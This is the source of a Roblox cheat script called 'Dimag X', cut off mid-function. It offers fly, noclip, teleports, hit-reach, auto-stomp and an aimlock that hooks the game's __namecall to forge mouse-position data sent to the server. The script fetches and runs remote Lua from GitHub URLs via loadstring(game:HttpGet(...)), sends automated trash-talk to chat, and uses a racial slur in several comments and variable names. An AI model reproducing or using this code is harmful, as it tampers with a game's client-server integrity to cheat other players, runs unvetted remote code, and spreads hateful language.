Keyless Verified Patched

Key Required
dimagx source v1
Lua Script•2507 lines (98329 chars)
local UILibrary = loadstring(game:HttpGet("https://raw.githubusercontent.com/bloodball/-back-ups-for-libs/main/twink"))()
local MainUI = UILibrary.Load("Dimag X")
local MainPage = MainUI.AddPage("Main")
local CombatPage = MainUI.AddPage("Combat")
local teleportPage = MainUI.AddPage("Teleports")
local AimlockPage = MainUI.AddPage("Aimlock")
local FunstuffPage = MainUI.AddPage("Fun Stuff")
local AutoBuyPage = MainUI.AddPage("Auto Buy")
local TargetPage = MainUI.AddPage("Target")
local GodPage = MainUI.AddPage("God Stuff")
local autofarm = MainUI.AddPage("Autofarms")
local AnimationsPage = MainUI.AddPage("Animations")
local CreditsPage = MainUI.AddPage("Credits")
-- // Notifs
game.StarterGui:SetCore("SendNotification", {Title = "Dimag X", Text = "Dimag X was founded by Dimag16 in 2022", Icon = "rbxassetid://505845268", Duration = 10, Button1 = "Alright We Winning!"})
game.StarterGui:SetCore("SendNotification", {Title = "Dimag X", Text = "Made by dylann#0009 and jokerr#9999", Icon = "rbxassetid://505845268", Duration = 9, Button1 = "Alright They Are Pro!"})
-- // TOGGLE! (DONT FUCK UP MY FUCKING TOGGLE NIGGER)
local Mouse = game.Players.LocalPlayer:GetMouse()
local Closed = true
Mouse.KeyDown:connect(function(key)
if key == "v" then
if Closed == true then
Closed = false
game.CoreGui["Dimag X"].Enabled = false
else
Closed = true
game.CoreGui["Dimag X"].Enabled = true
end
end
end)
local MainButton = MainPage.AddButton("Fly (X)", function()
local plr = game.Players.LocalPlayer
local mouse = plr:GetMouse()
localplayer = plr
if workspace:FindFirstChild("Core") then
workspace.Core:Destroy()
end
local Core = Instance.new("Part")
Core.Name = "Core"
Core.Size = Vector3.new(0.05, 0.05, 0.05)
spawn(function()
Core.Parent = workspace
local Weld = Instance.new("Weld", Core)
Weld.Part0 = Core
Weld.Part1 = localplayer.Character.LowerTorso
Weld.C0 = CFrame.new(0, 0, 0)
end)
workspace:WaitForChild("Core")
local torso = workspace.Core
flying = true
local speed=7.5
local keys={a=false,d=false,w=false,s=false}
local e1
local e2
local function start()
local pos = Instance.new("BodyPosition",torso)
local gyro = Instance.new("BodyGyro",torso)
pos.Name="EPIXPOS"
pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
pos.position = torso.Position
gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
gyro.cframe = torso.CFrame
repeat
wait()
localplayer.Character.Humanoid.PlatformStand=true
local new=gyro.cframe - gyro.cframe.p + pos.position
if not keys.w and not keys.s and not keys.a and not keys.d then
speed=7.5
end
if keys.w then
new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
speed=speed+0
end
if keys.s then
new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
speed=speed+0
end
if keys.d then
new = new * CFrame.new(speed,0,0)
speed=speed+0
end
if keys.a then
new = new * CFrame.new(-speed,0,0)
speed=speed+0
end
if speed>3.2 then
speed=7.5
end
pos.position=new.p
if keys.w then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*0),0,0)
elseif keys.s then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*0),0,0)
else
gyro.cframe = workspace.CurrentCamera.CoordinateFrame
end
until flying == false
if gyro then gyro:Destroy() end
if pos then pos:Destroy() end
flying=false
localplayer.Character.Humanoid.PlatformStand=false
speed=7.5
end
e1=mouse.KeyDown:connect(function(key)
if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end
if key=="w" then
keys.w=true
elseif key=="s" then
keys.s=true
elseif key=="a" then
keys.a=true
elseif key=="d" then
keys.d=true
elseif key=="x" then
if flying==true then
flying=false
else
flying=true
start()
end
end
end)
e2=mouse.KeyUp:connect(function(key)
if key=="w" then
keys.w=false
elseif key=="s" then
keys.s=false
elseif key=="a" then
keys.a=false
elseif key=="d" then
keys.d=false
end
end)
start()
end)
local MainToggle = MainPage.AddToggle("No Clip", false, function(t)
loadstring(game:HttpGet("https://raw.githubusercontent.com/LegoHacker1337/legohacks/main/PhysicsServiceOnClient.lua"))()
setfflag("HumanoidParallelRemoveNoPhysics", "False")
setfflag("HumanoidParallelRemoveNoPhysicsNoSimulate2", "False")
if t == true then
game:GetService('RunService'):BindToRenderStep("crash", 0 , function()
game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
end)
elseif t == false then
game:GetService('RunService'):UnbindFromRenderStep("crash")
end
end)
local MainButton = MainPage.AddButton("Hide User", function()
if game.Players.LocalPlayer.Character:FindFirstChild("In-gameMask") then
game.Players.LocalPlayer.Character:FindFirstChild("In-gameMask"):FindFirstChildWhichIsA("Model"):Destroy()
game.Players.LocalPlayer.Character:FindFirstChild("In-gameMask"):FindFirstChild('Handle'):Destroy()
end
end)
local xdfporn = MainPage.AddButton("Force Reset", function()
for i, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if v:IsA("BasePart") then
v:Destroy()
end
end
end)
local MainButton = MainPage.AddButton("Korblox", function()
local ply = game.Players.LocalPlayer
local chr = ply.Character
chr.RightLowerLeg.MeshId = "902942093"
chr.RightLowerLeg.Transparency = "1"
chr.RightUpperLeg.MeshId = "http://www.roblox.com/asset/?id=902942096"
chr.RightUpperLeg.TextureID = "http://roblox.com/asset/?id=902843398"
chr.RightFoot.MeshId = "902942089"
chr.RightFoot.Transparency = "1"
end)
local MainButton = MainPage.AddButton("Headless", function()
game.Players.LocalPlayer.Character.Head.Transparency = 1
game.Players.LocalPlayer.Character.Head.Transparency = 1
for i,v in pairs(game.Players.LocalPlayer.Character.Head:GetChildren()) do
if (v:IsA("Decal")) then
v.Transparency = 1
end
end
end)
local unjailbutton = MainPage.AddButton("Unjail", function()
if game:GetService("Players").LocalPlayer.DataFolder.Currency.Value >= 125 then
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-270.94, 20.327, -242.38)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-270.94, 20.327, -242.38)
wait()
fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Key] - $125"].ClickDetector)
wait(.1)
fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Key] - $125"].ClickDetector)
fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Key] - $125"].ClickDetector)
repeat
wait()
until game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("[Key]")
local Hum = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if Hum.Health > 0 then
key1 = game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("[Key]")
if key1 then
Hum:EquipTool(key1)
for i, v in pairs(game:GetService"Players".LocalPlayer.Character:GetChildren()) do
if v:isA("Tool") then
game:GetService("Players").LocalPlayer.Character.Humanoid:EquipTool(key1)
game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-485.668, 23.631, -285.169)
v:Activate()
end
end
end
end
end
end)
local naked = MainPage.AddButton("Anonymous (Removes clothes)", function()
local function inTable(What, Table)
for Index, Value in pairs(Table) do
if What == Value then
return true
end
end
return false
end
local removingClasses = {
"Accessory",
"Pants",
"Shirt",
}
for _, Instance in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if inTable(Instance.ClassName, removingClasses) or Instance.Name == "face" then
Instance:Destroy()
end
end
end)
local qtotp = MainPage.AddButton("- to TP", function()
plr = game.Players.LocalPlayer
hum = plr.Character.HumanoidRootPart
mouse = plr:GetMouse()
mouse.KeyDown:connect(function(key)
if key == "-" then
if mouse.Target then
hum.CFrame = CFrame.new(mouse.Hit.x, mouse.Hit.y + 5, mouse.Hit.z)
end
end
end)
end)
local antibag = MainPage.AddButton("Anti-Bag", function()
local LP = game.Players.LocalPlayer;
for i,v in ipairs(LP.Character:GetDescendants()) do
if v.Name == "Christmas_Sock" then v:Destroy()
end;
end;
LP.Character.ChildAdded:Connect(function()
wait(0.3)
for i,v in ipairs(LP.Character:GetDescendants()) do
if v.Name == "Christmas_Sock" then v:Destroy()
end;
end;
end);
end)
local FirstSlider = MainPage.AddSlider("Walk Speed", {Min = 0, Max = 150, Def = 50}, function(t)
game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').Name = 'SWAG MODE'
game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').WalkSpeed = t
if t == 16 then
game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').Name = 'Humanoid'
game.Players.LocalPlayer.Character:FindFirstChildWhichIsA('Humanoid').WalkSpeed = 16
end
end)
local MainButton = MainPage.AddButton("Trash Talk", function()
function dowait()
wait(0.172)
end
local tbl_main =
{
"focus up son." ,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
dowait()
local tbl_main =
{
"run my hours." ,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
dowait()
local tbl_main =
{
"your so bad dont duck." ,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
dowait()
local tbl_main =
{
"lol airshotted so bad." ,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
dowait()
local tbl_main =
{
"ur bad kid run officials." ,
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
end)
local MainButton = MainPage.AddButton("No Display Names", function()
pcall(function()
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if v.Character then
if v.Character:FindFirstChild("Humanoid") then
v.Character:FindFirstChild("Humanoid").DisplayName = v.Name
end
end
end
end)
end)
local MainButton = MainPage.AddButton("Ungrab", function()
local player = game.Players.LocalPlayer
local GC = game:GetService("Workspace").Players:WaitForChild(player.Name):FindFirstChild("GRABBING_CONSTRAINT")
if GC then
GC:Destroy()
wait(0.04)
player.character.Humanoid.Sit = true
wait(0.04)
game.Players.LocalPlayer.Character.Humanoid:ChangeState(3)
end
end)
local MainButton = MainPage.AddButton("Rejoin", function()
game:GetService('TeleportService'):TeleportToPlaceInstance(game.PlaceId, game.JobId, game.Players.LocalPlayer)
end)
---------------
-- Combat Nigger
local FirstButton = CombatPage.AddButton("Inf-Jump", function()
local player = game.Players.LocalPlayer
local spacedown = false
staminup = true
game:GetService('UserInputService').InputBegan:Connect(function(key,b)
if key.KeyCode == Enum.KeyCode.Space and not b then
if staminup == true then
spacedown = true
while spacedown == true do
wait()
player.Character:FindFirstChildWhichIsA('Humanoid').JumpPower = 50
player.Character:FindFirstChildWhichIsA('Humanoid').Jump = true
player.Character:FindFirstChildWhichIsA('Humanoid').JumpPower = 50
end
end
end
end)
game:GetService('UserInputService').InputEnded:Connect(function(key,b)
if key.KeyCode == Enum.KeyCode.Space and not b then
if staminup == true then
spacedown = false
end
end
end)
end)
local FirstToggle = CombatPage.AddToggle("Anti-Slow", false, function(gh)
if gh == true then
game:GetService('RunService'):BindToRenderStep("Anti-Slow", 0 , function()
if game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoWalkSpeed") then game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoWalkSpeed"):Destroy() end
if game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("ReduceWalk") then game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("ReduceWalk"):Destroy() end
if game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoJumping") then game.Players.LocalPlayer.Character.BodyEffects.Movement:FindFirstChild("NoJumping"):Destroy() end
if game.Players.LocalPlayer.Character.BodyEffects.Reload.Value == true then game.Players.LocalPlayer.Character.BodyEffects.Reload.Value = false end
end)
elseif gh == false then
game:GetService('RunService'):UnbindFromRenderStep("Anti-Slow")
end
end)
local FirstToggle = CombatPage.AddToggle("Fist Reach!", false, function(e)
if e == true then
game:GetService('RunService'):BindToRenderStep("Reach", 0 , function()
local success, err = pcall(function()
if game.Players.LocalPlayer.Character.BodyEffects.Attacking.Value == true then
for i,v in pairs(game:GetService('Players'):GetChildren()) do
if (v.Character.HumanoidRootPart.Position - game.Players.LocalPlayer.Character.LeftHand.Position).Magnitude <= 50 then
if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then
if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild('Handle') then
firetouchinterest(game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Handle, v.Character.UpperTorso, 0)
else
firetouchinterest(game.Players.LocalPlayer.Character['RightHand'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['LeftHand'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['RightFoot'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['LeftFoot'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['RightLowerLeg'], v.Character.UpperTorso, 0)
firetouchinterest(game.Players.LocalPlayer.Character['LeftLowerLeg'], v.Character.UpperTorso, 0)
end
end
end
end
end
end)
end)
elseif e == false then
game:GetService('RunService'):UnbindFromRenderStep("Reach")
end
end)
local FirstToggle = CombatPage.AddButton("Tool Reach!", function()
for i, v in pairs(game:GetService"Players".LocalPlayer.Character:GetChildren()) do
if v:isA("Tool") then
local a = Instance.new("SelectionBox", v.Handle)
a.Adornee = v.Handle
v.Handle.Size = Vector3.new(50, 50, 50)
v.Handle.Transparency = 1
v.GripPos = Vector3.new(0, 0, 0)
end
end
end)
local FirstToggle = CombatPage.AddToggle("Auto-Stomp", false, function(r)
if r == true then
game:GetService('RunService'):BindToRenderStep("Auto-Stomp", 0 , function()
game:GetService("ReplicatedStorage").MainEvent:FireServer("Stomp")
end)
elseif r == false then
game:GetService('RunService'):UnbindFromRenderStep("Auto-Stomp")
end
end)
local FirstToggle = CombatPage.AddToggle("Anti-Stomp", false, function(x)
if x == true then
game:GetService('RunService'):BindToRenderStep("Anti-Stomp", 0 , function()
if game.Players.LocalPlayer.Character.Humanoid.Health <= 5 then
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA('MeshPart') or v:IsA('Part') then
v:Destroy()
end
end
for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
if v:IsA('Accessory') then
v.Handle:Destroy()
end
end
end
end)
elseif x == false then
game:GetService('RunService'):UnbindFromRenderStep("Anti-Stomp")
end
end)
local FirstToggle = CombatPage.AddToggle("Auto-Reload", false, function(r)
if r == true then
game:GetService('RunService'):BindToRenderStep("Auto-Reload", 0 , function()
if game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool") then
if game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool"):FindFirstChild("Ammo") then
if game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool"):FindFirstChild("Ammo").Value <= 0 then
game:GetService("ReplicatedStorage").MainEvent:FireServer("Reload", game:GetService("Players").LocalPlayer.Character:FindFirstChildWhichIsA("Tool"))
wait(1)
end
end
end
end)
elseif r == false then
game:GetService('RunService'):UnbindFromRenderStep("Auto-Reload")
end
end)
local xdpussy = CombatPage.AddButton("Free Fists [Q]", function()
-- // Variables
local localPlayer = game:GetService("Players").LocalPlayer
local localCharacter = localPlayer.Character
local Mouse = localPlayer:GetMouse()
local FistControl = false
local LeftFist = localCharacter.LeftHand
local RightFist = localCharacter.RightHand
-- // Services
local uis = game:GetService("UserInputService")
-- // Coroutine Loop + Functions
local loopFunction = function()
LeftFist.CFrame = CFrame.new(Mouse.Hit.p)
RightFist.CFrame = CFrame.new(Mouse.Hit.p)
end
local Loop
local Start = function()
Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction)
end
local Pause = function()
Loop:Disconnect()
end
-- // Hotkeys
uis.InputBegan:connect(function(Key)
if (Key.KeyCode == Enum.KeyCode.Q) then
if (FistControl == false) then
FistControl = true
Start()
pcall(function()
localCharacter.RightHand.RightWrist:Remove()
localCharacter.LeftHand.LeftWrist:Remove()
end)
elseif (FistControl == true) then
FistControl = false
Pause()
local rightwrist = Instance.new("Motor6D")
rightwrist.Name = "RightWrist"
rightwrist.Parent = localCharacter.RightHand
rightwrist.C0 = CFrame.new(1.18422506e-07, -0.5009287, -6.81715525e-18, 1, 0, 0, 0, 1, 0, 0, 0, 1)
rightwrist.C1 = CFrame.new(3.55267503e-07, 0.125045404, 5.92112528e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
rightwrist.Part0 = localCharacter.RightLowerArm
rightwrist.Part1 = localCharacter.RightHand
local leftwrist = Instance.new("Motor6D")
leftwrist.Name = "LeftWrist"
leftwrist.Parent = localCharacter.LeftHand
leftwrist.C0 = CFrame.new(0.000475466368, -0.5009287, 7.59417072e-20, 1, 0, 0, 0, 1, 0, 0, 0, 1)
leftwrist.C1 = CFrame.new(0.000475821638, 0.125045404, 5.92112528e-08, 1, 0, 0, 0, 1, 0, 0, 0, 1)
leftwrist.Part0 = localCharacter.LeftLowerArm
leftwrist.Part1 = localCharacter.LeftHand
end
end
end)
end)
local FirstButton = CombatPage.AddButton("No Recoil", function()
local player = game.Players.LocalPlayer
for i,v in pairs(game:GetService('Workspace'):GetChildren()) do
if v:IsA('Camera') then
v:Destroy()
end
end
local newcam = Instance.new('Camera')
newcam.Parent = game:GetService('Workspace')
newcam.Name = 'Camera'
newcam.CameraType = 'Custom'
newcam.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
newcam.HeadLocked = true
newcam.HeadScale = 1
end)
---------------
-- Teleports
local SecondButton = teleportPage.AddButton("Admin Base", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-797.15, -39.6189, -887.957)
end)
local SecondButton = teleportPage.AddButton("Food Shop [Bank]", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-335.141, 23.7129, -298.029)
end)
local SecondButton = teleportPage.AddButton("Food Shop [Uphill]", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(298.477, 49.3129, -615.231)
end)
local SecondButton = teleportPage.AddButton("Food Shop [Taco]", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(583.96, 51.0917, -479.596)
end)
local SecondButton = teleportPage.AddButton("Food Shop [Hamburger]", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-279.501, 22.6801, -803.887)
end)
local SecondButton = teleportPage.AddButton("Gun Shop [Uphill]", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(481.925, 48.1008, -621.23)
end)
local SecondButton = teleportPage.AddButton("Gun Shop [Armor]", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-580.27, 8.34504, -734.832)
end)
local SecondButton = teleportPage.AddButton("Bank", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-438.689, 39.0127, -284.731)
end)
local SecondButton = teleportPage.AddButton("Police Station", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-263.919, 21.8302, -112.858)
end)
local SecondButton = teleportPage.AddButton("Fire Department", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-129.534, 27.842, -113.062)
end)
local SecondButton = teleportPage.AddButton("Church", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(205.53, 21.7803, -80.2361)
end)
local SecondButton = teleportPage.AddButton("Casino", function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-904.457, 24.7803, -156.994)
end)
---------------
local SecondButton = AimlockPage.AddButton("Dimag Aimlock (Q)", function()
_G.KEY = "q"
_G.PART = "LowerTorso"
_G.PRED = 0.037
_G.Frame = Vector3.new(0,0.53,0)
_G.AIR = -0.5
_G.SHIT = 0.1
local CC = game:GetService "Workspace".CurrentCamera
local Plr
local enabled = false
local accomidationfactor = nil
local mouse = game.Players.LocalPlayer:GetMouse()
local placemarker = Instance.new("Part", game.Workspace)
local guimain = Instance.new("Folder", game.CoreGui)
getgenv().makemarker = function(Parent, Adornee, Color, Size, Size2)
local e = Instance.new("BillboardGui", Parent)
e.Name = "PP"
e.Adornee = Adornee
e.Size = UDim2.new(Size, Size2, Size, Size2)
e.AlwaysOnTop = true
local a = Instance.new("Frame", e)
a.Size = UDim2.new(4, 0, 4, 0)
a.BackgroundTransparency = 0.1
a.BackgroundColor3 = Color
local g = Instance.new("UICorner", a)
g.CornerRadius = UDim.new(50, 50)
return (e)
end
local data = game.Players:GetPlayers()
function noob(player)
local character
repeat
wait()
until player.Character
local handler = makemarker(guimain, player.Character:WaitForChild(_G.PART), Color3.fromRGB(255, 255, 255), 0.0, 0)
handler.Name = player.Name
player.CharacterAdded:connect(
function(Char)
handler.Adornee = Char:WaitForChild(_G.PART)
end
)
local TextLabel = Instance.new("TextLabel", handler)
TextLabel.BackgroundTransparency = 1
TextLabel.Position = UDim2.new(0, 0, 0, -50)
TextLabel.Size = UDim2.new(0, 100, 0, 100)
TextLabel.Font = Enum.Font.SourceSansSemibold
TextLabel.TextSize = 14
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextStrokeTransparency = 0
TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
TextLabel.Text = "Name: " .. player.Name
TextLabel.ZIndex = 10
spawn(
function()
while wait() do
if player.Character then
--TextLabel.Text = player.Name.." | Bounty: "..tostring(player:WaitForChild("leaderstats").Wanted.Value).." | "..tostring(math.floor(player.Character:WaitForChild("Humanoid").Health))
end
end
end
)
end
for i = 1, #data do
if data[i] ~= game.Players.LocalPlayer then
noob(data[i])
end
end
game.Players.PlayerAdded:connect(
function(Player)
noob(Player)
end
)
game.Players.PlayerRemoving:Connect(
function(player)
guimain[player.Name]:Destroy()
end
)
spawn(
function()
placemarker.Anchored = true
placemarker.CanCollide = false
placemarker.Size = Vector3.new(0.1, 0.1, 0.1)
placemarker.Transparency = _G.SHIT
makemarker(placemarker, placemarker, Color3.fromRGB(255, 255, 255), 0.20, 0)
end
)
mouse.KeyDown:Connect(
function(k)
if k ~= _G.KEY then
return
end
if enabled then
-- guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
enabled = false
TextLabel.TextColor3 = Color3.fromRGB(255, 20, 75)
TextLabel.Text = "------"
else
--guimain[Plr.Name].Frame.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
enabled = true
Plr = getClosestPlayerToCursor()
TextLabel.TextColor3 = Color3.fromRGB(12, 255, 0)
TextLabel.Text = Plr.Character.Humanoid.DisplayName
end
end)
function getClosestPlayerToCursor()
local closestPlayer
local shortestDistance = math.huge
for i, v in pairs(game.Players:GetPlayers()) do
if
v ~= game.Players.LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid") and
v.Character.Humanoid.Health ~= 0 and
v.Character:FindFirstChild(_G.PART)
then
local pos = CC:WorldToViewportPoint(v.Character.PrimaryPart.Position)
local magnitude = (Vector2.new(pos.X, pos.Y) - Vector2.new(mouse.X, mouse.Y)).magnitude
if magnitude < shortestDistance then
closestPlayer = v
shortestDistance = magnitude
end
end
end
return closestPlayer
end
game:GetService "RunService".Stepped:connect(
function()
if enabled and Plr.Character and Plr.Character:FindFirstChild(_G.PART) then
placemarker.CFrame =
CFrame.new(Plr.Character[_G.PART].Position + _G.Frame + (Plr.Character[_G.PART].Velocity * accomidationfactor))
else
placemarker.CFrame = CFrame.new(0, 9999, 0)
end
end
)
local mt = getrawmetatable(game)
local old = mt.__namecall
setreadonly(mt, false)
mt.__namecall =
newcclosure(
function(...)
local args = {...}
if enabled and getnamecallmethod() == "FireServer" and args[2] == "UpdateMousePos" then
args[3] = Plr.Character[_G.PART].Position+ _G.Frame + (Plr.Character[_G.PART].Velocity * accomidationfactor)
return old(unpack(args))
end
return old(...)
end
)
game.Players.LocalPlayer.Chatted:Connect(
function(Chat)
if Chat == "print" then
print(accomidationfactor)
end
end
)
game.Players.LocalPlayer.Chatted:Connect(
function(Chat)
if Chat == "Code:1029" then
_G.KEY = nil
_G.AIR = nil
_G.PART = nil
_G.PRED = nil
TextLabel.Visible = false
end
end
)
game.Players.LocalPlayer.Chatted:Connect(
function(Chat)
if Chat == "Code:1030" then
_G.KEY = "q"
_G.PART = "UpperTorso"
_G.PRED = 0.037
_G.Frame = Vector3.new(0,0.0,0)
_G.AIR = -0.5
_G.SHIT = 1
end
end
)
game.Players.LocalPlayer.Chatted:Connect(
function(Chat)
if Chat == "P+" then
_G.PRED = _G.PRED+0.001
end
end
)
game.Players.LocalPlayer.Chatted:Connect(
function(Chat)
if Chat == "P-" then
_G.PRED = _G.PRED-0.001
end
end
)
--[[
while wait() do
local ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()
local Value = tostring(ping)
local pingValue = Value:split(" ")
local PingNumber = pingValue[1]
accomidationfactor = PingNumber / 1000 + _G.PRED
if getClosestPlayerToCursor().Character.Humanoid.Jump == true and AimlockTarget.Character.Humanoid.FloorMaterial == Enum.Material.Air then
_G.PART = "RightFood"
accomidationfactor = _G.AIR
else
getClosestPlayerToCursor().Character:WaitForChild("Humanoid").StateChanged:Connect(function(old,new)
if new == Enum.HumanoidStateType.Freefall then
_G.PART = "RightFood"
accomidationfactor = _G.AIR
else
_G.PART = "UpperTorso"
accomidationfactor = PingNumber / 1000 + _G.PRED
end
end)
end
end
]]
while wait() do
local ping = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString()
local Value = tostring(ping)
local pingValue = Value:split(" ")
local PingNumber = pingValue[1]
accomidationfactor = PingNumber / 1000 + _G.PRED
end
end)
-- funtab
local fucknigger = FunstuffPage.AddButton("FOV [PRO]", function()
workspace.CurrentCamera.FieldOfView = 120
end)
local niggers = FunstuffPage.AddButton("Mask Names", function()
for _, v in pairs(game:GetService("Players"):GetPlayers()) do
if v and v.Character and v.Character:FindFirstChildOfClass("Humanoid") and v.Character:FindFirstChildOfClass("Humanoid").DisplayDistanceType ~= Enum.HumanoidDisplayDistanceType.Viewer then
v.Character:FindFirstChildOfClass("Humanoid").DisplayDistanceType = Enum.HumanoidDisplayDistanceType.Viewer
end
end
end)
local niggerbutton = FunstuffPage.AddButton("PP Bat", function()
local d = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
local k = game.Workspace.Ignored.Shop["[Bat] - $250"]
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0)
if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - k.Head.Position).Magnitude <= 50 then
wait(.2)
fireclickdetector(k:FindFirstChild("ClickDetector"), 4)
toolf = game.Players.LocalPlayer.Backpack:WaitForChild("[Bat]")
toolf.Parent = game.Players.LocalPlayer.Character
wait()
game.Players.LocalPlayer.Character:WaitForChild("[Bat]")
game.Players.LocalPlayer.Character:WaitForChild("[Bat]").Grip = CFrame.new(-2.4000001, -0.699999988, 0, 0, 1, -0, -1, 0, -0, 0, 0, 1)
game.Players.LocalPlayer.Character:WaitForChild("[Bat]").GripForward = Vector3.new(0, -1, -0)
game.Players.LocalPlayer.Character:WaitForChild("[Bat]").GripPos = Vector3.new(1.2111, 1.11114, 1.8111)
game.Players.LocalPlayer.Character:WaitForChild("[Bat]").GripUp = Vector3.new(-500000, 404, 5000000)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(d)
end
end)
local autoclick = FunstuffPage.AddButton("AutoClicker [v]", function()
local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local Clicking = false
Mouse.KeyDown:Connect(function(Key)
if Key == "v" then
Clicking = not Clicking
if Clicking == true then
repeat
mouse1click()
wait(0.001)
until Clicking == false
end
end
end)
end)
local fuckme = MainPage.AddButton("Invisible Mask", function()
local d = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
local k = game.Workspace.Ignored.Shop["[Surgeon Mask] - $25"]
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = k.Head.CFrame + Vector3.new(0, 3, 0)
if (game.Players.LocalPlayer.Character.HumanoidRootPart.Position - k.Head.Position).Magnitude <= 50 then
wait(.2)
fireclickdetector(k:FindFirstChild("ClickDetector"), 4)
toolf = game.Players.LocalPlayer.Backpack:WaitForChild("Mask")
toolf.Parent = game.Players.LocalPlayer.Character
wait()
game.Players.LocalPlayer.Character:WaitForChild("Mask")
game:GetService("VirtualUser"):ClickButton1(Vector2.new())
game.Players.LocalPlayer.Character:WaitForChild("In-gameMask")
game.Players.LocalPlayer.Character["In-gameMask"].Handle:Destroy()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(d)
end
end)
local bikeflyernigger = FunstuffPage.AddButton("Bike Fly", function()
local speed = 20
local old
local Plr = game.Players.LocalPlayer
local wheels = {}
local control = {q=false,e=false,w=false,a=false,s=false,d=false}
local Mouse = Plr:GetMouse()
Mouse.KeyDown:connect(function(KEY)
local key = KEY:lower()
if control[key] ~= nil then
control[key]=true
end
end)
Mouse.KeyUp:connect(function(KEY)
local key = KEY:lower()
if control[key] ~= nil then
control[key]=false
end
end)
while game.RunService.Stepped:wait() do
local seat = (Plr.Character or Plr.CharacterAdded:wait()):WaitForChild("Humanoid").SeatPart
